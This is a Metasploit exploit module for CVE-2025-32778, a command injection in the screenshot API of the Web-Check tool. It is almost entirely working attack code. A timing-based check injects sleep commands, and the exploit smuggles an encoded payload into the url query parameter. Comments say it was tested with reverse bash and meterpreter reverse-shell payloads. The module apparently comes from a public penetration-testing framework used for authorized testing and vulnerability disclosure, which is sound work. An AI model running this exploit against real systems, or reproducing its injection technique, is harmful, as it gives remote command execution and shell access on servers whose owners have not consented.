## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Web-Check Screenshot API Command Injection RCE', 'Description' => %q{ This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint. The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input, allowing command injection via URL query parameters. The vulnerability was patched in commit 0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`. }, 'Author' => [ 'Valentin Lobstein ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-32778'], ['URL', 'https://github.com/Lissy93/web-check'], ['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef'] ], 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD], 'Payload' => { 'DisableNops' => true, 'Encoder' => 'cmd/base64' }, 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 131068 } # tested with cmd/unix/reverse_bash # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000 } # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-04-12', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 3000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/']) ]) end def build_url(command = nil) return Faker::Internet.url if command.nil? param = Faker::Alphanumeric.alphanumeric(number: rand(4..10)) "http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\"" end def send_screenshot_request(command = nil) url = build_url(command) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'), 'method' => 'GET', 'vars_get' => { 'url' => url } }) end def check res, baseline_elapsed = Rex::Stopwatch.elapsed_time do send_screenshot_request end return CheckCode::Unknown("#{peer} - No response from web service") unless res return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404 network_latency = [baseline_elapsed, 0.3].max vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)") sleep_tests = [2, 3, 4].map do |duration| _, elapsed = Rex::Stopwatch.elapsed_time do send_screenshot_request("sleep #{duration}") end threshold = duration - network_latency vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)") { elapsed: elapsed, threshold: threshold } end passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] } case passed_tests when 2..3 return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing') when 1 return CheckCode::Detected('Screenshot API endpoint exists and may be vulnerable') end return CheckCode::Detected('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image') CheckCode::Unknown('Could not determine vulnerability status') end def exploit vprint_status('Sending payload via screenshot API') send_screenshot_request(payload.encoded) end end